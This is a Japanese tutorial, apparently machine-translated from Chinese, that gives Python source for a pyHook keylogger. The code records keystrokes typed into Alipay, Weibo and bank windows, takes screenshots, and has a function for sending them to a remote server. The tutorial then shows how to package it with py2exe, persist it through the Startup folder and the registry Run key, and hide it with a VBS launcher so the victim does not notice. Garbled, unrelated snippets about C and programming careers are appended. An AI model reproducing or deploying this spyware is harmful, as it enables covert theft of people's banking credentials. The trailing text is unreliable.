Python は pyHook を使用してユーザーのマウスとキーボードのイベントを監視します
この記事では、簡単なプログラムを使用してマウスとキーボードのイベントを監視し、ユーザー入力 (特定の Web サイトにログインするためのアカウント番号やパスワードなど) を取得する機能を実現します。テスト後、「ストリーキング」コンピュータはユーザーが入力したあらゆる情報を完全に取得できますが、ウイルス対策ソフトウェアがインストールされていれば十分です。具体的な実装方法は以下の通りです。
1. コード部分 : ユーザー入力情報を取得し、スクリーンショットとともに XX ディレクトリに保存します
# -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器 # def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() # #也可以将获取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close() def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过网站title,判断当前网站是否是“监听目标” if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成为以日期命名的图片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #创建hook句柄 hm = pyHook.HookManager() #监控鼠标 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages()
2. py2exe を使用してスクリプトをパッケージ化します:
次の内容を含む新しい py ファイル setup.py を作成します:
from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
コマンドラインで次のコマンドを実行します:
pythonsetup.pypy2exe
3. 起動時にプログラムが自動的に起動するように設定します:
ステップ①:
起動時に起動する必要があるファイル (ショートカットを作成してから) を「スタート/すべてのプログラム/スタートアップ」ディレクトリに配置します
ステップ②:
レジストリを変更します: コマンド ライン - regedit で、次のパスに移動します:
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
新しい「文字列値」を作成して編集します: exe ファイルへのパスを設定します
D:workspacemytestpyhookdistmonitor.exe
(上記2つの方法でmonitor.exeを起動すると、コマンドボックスがポップアップして監視ログ情報が表示されます。この場合、監視対象者はすぐに知ることができます。以下の方法をお試しください。 )
ステップ③:
次の内容を含む新しい .vbs ファイルを作成します:
setwscriptObj=CreateObject("Wscript.Shell") wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
ダブルクリックして vbs ファイルを実行すると、monitor.exe がバックグラウンドで起動します (大きな黒いボックスは表示されません)。
次に、①と②の方法を参考に、起動時にvbsが起動するように設定してください。
補足:
1. このプログラムには、自分でインストールする必要があるモジュールが含まれています。
2. 記事内の「D:workspace....」などのパスは、独自の実際のパスに変更する必要があります。
3. このコードは単なるテスト例です。読者は違法な目的で使用しないでください。

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C言語に組み込みの合計機能はないため、自分で書く必要があります。合計は、配列を通過して要素を蓄積することで達成できます。ループバージョン:合計は、ループとアレイの長さを使用して計算されます。ポインターバージョン:ポインターを使用してアレイ要素を指し示し、効率的な合計が自己概要ポインターを通じて達成されます。アレイバージョンを動的に割り当てます:[アレイ]を動的に割り当ててメモリを自分で管理し、メモリの漏れを防ぐために割り当てられたメモリが解放されます。

スキルや業界のニーズに応じて、PythonおよびJavaScript開発者には絶対的な給与はありません。 1. Pythonは、データサイエンスと機械学習でさらに支払われる場合があります。 2。JavaScriptは、フロントエンドとフルスタックの開発に大きな需要があり、その給与もかなりです。 3。影響要因には、経験、地理的位置、会社の規模、特定のスキルが含まれます。

明確で明確なものは区別に関連していますが、それらは異なる方法で使用されます。明確な(形容詞)は、物事自体の独自性を説明し、物事の違いを強調するために使用されます。明確な(動詞)は、区別の動作または能力を表し、差別プロセスを説明するために使用されます。プログラミングでは、個別は、重複排除操作などのコレクション内の要素の独自性を表すためによく使用されます。明確なは、奇数や偶数の偶数を区別するなど、アルゴリズムまたは関数の設計に反映されます。最適化する場合、異なる操作は適切なアルゴリズムとデータ構造を選択する必要がありますが、異なる操作は、論理効率の区別を最適化し、明確で読み取り可能なコードの書き込みに注意を払う必要があります。

!X理解!Xは、C言語の論理的な非操作者です。 Xの値をブーリングします。つまり、虚偽の真の変化、trueへの誤った変更です。ただし、Cの真実と虚偽はブール型ではなく数値で表されていることに注意してください。非ゼロは真であると見なされ、0のみが偽と見なされます。したがって、!xは正の数と同じ負の数を扱い、真実と見なされます。

Cには組み込みの合計関数はありませんが、次のように実装できます。ループを使用して要素を1つずつ蓄積します。ポインターを使用して、要素に1つずつアクセスして蓄積します。大量のデータ量については、並列計算を検討してください。

H5ページは、コードの脆弱性、ブラウザー互換性、パフォーマンスの最適化、セキュリティの更新、ユーザーエクスペリエンスの改善などの要因のため、継続的に維持する必要があります。効果的なメンテナンス方法には、完全なテストシステムの確立、バージョン制御ツールの使用、定期的にページのパフォーマンスの監視、ユーザーフィードバックの収集、メンテナンス計画の策定が含まれます。

クロール中に58.com作業ページの動的データを取得するにはどうすればよいですか? Crawlerツールを使用して58.comの作業ページをrawったら、これに遭遇する可能性があります...

コードのコピーと貼り付けは不可能ではありませんが、注意して扱う必要があります。コード内の環境、ライブラリ、バージョンなどの依存関係は、現在のプロジェクトと一致しないため、エラーや予測不可能な結果が得られます。ファイルパス、従属ライブラリ、Pythonバージョンなど、コンテキストが一貫していることを確認してください。さらに、特定のライブラリのコードをコピーして貼り付けるときは、ライブラリとその依存関係をインストールする必要がある場合があります。一般的なエラーには、パスエラー、バージョンの競合、一貫性のないコードスタイルが含まれます。パフォーマンスの最適化は、コードの元の目的と制約に従って再設計またはリファクタリングする必要があります。コピーされたコードを理解してデバッグすることが重要であり、盲目的にコピーして貼り付けないでください。
